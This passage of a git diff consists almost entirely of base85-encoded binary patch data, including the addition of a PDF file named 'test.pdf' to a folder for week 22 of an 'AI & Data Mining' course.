z!3U*WG-IV@IA8W9_%bgp^@qHA9AP*Ac{yOyHd(nBIUQ0XAF5rf6>Cd-=rKVd?O~lJ zT07b-@*2soPKJNC?82Uz$;xn7N zqjNKd^cxqYX$|*p&NenEoh*$Y*Gy-zC7+IDOFa*C@20&oDXU*@&{*;tzk}#`hu7BD zk)L-Gi@8B;yduK zR69!#V>@^9QPOdJA6F9c2+7IA*^aC0Z0F>LzzVAEb2|gj2Lu5IwR5g9?g6|43jl+W?xgEoRL~$YmJqQ+5GXzC%%9(vMCub5Dnc(`de+9Zg!YCMlL=$mD1O^8~ z2ndVfLKj>GP^l(Ch?P?IzhM<z4}13& zQsaQ34tET<{0`;_&W_Uc4Rws|7yvzS0Mn(o`>cq~ecZr|4QY;aE>{9piUNK!#|N=v zp99^Vq#~$h>gqsprO=!ZJN_O9gytR$hBN6Lchyi_uHhJ$Jh8&yxg~oP0)r;lAYg%0s)Uh5K(CEk|Xdi25b@FSO^dT z1LF`_6xRqId<_}}VSpH@qJbLd1_N;r0#C$&Zaf!!0S3Urqaff4o`|r*!GNN{0yqW_ z3~)bTKob!DY~!(5;4|sgu zgU4{&HsI^PG#~=E1=Or?D3lEX1A*PfKo}eX2A2kghyuh0)PD zhQMP$82!UPa9N$dE|UKXc);K=|IRzuBpK7gP{NU8a}sb#RIK9RvV;6F6Y?(aq8jFT zc1TH5)^2J$u)Mgb{A|u|dwstV1N+|Xv)x?Wn!qRLIV#QYe|?+zpygQC>Zyu+= z%G|tag9yb!LK9_VT0vMI{%Lbk_+-DhUZuJp``XR2ou?e^ zKvn^P4XB-!G;#!Fnxk|J8U+j?A-j`N5)Mw z+yg=TO9m0KFo@V6WGEB{58~`685YFHk1`AqD8NzLILWPo;2g2yX6nuI?+Fgdt*Jf}oO; JuBo2j{{VHLPpkj{ literal 0 HcmV?d00001 diff --git a/AI & Data Mining/Week 22/test.pdf b/AI & Data Mining/Week 22/test.pdf new file mode 100755 index 0000000000000000000000000000000000000000..a456e42a658f1476b7266ca572e0c7ea21a87b0f GIT binary patch literal 22603 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 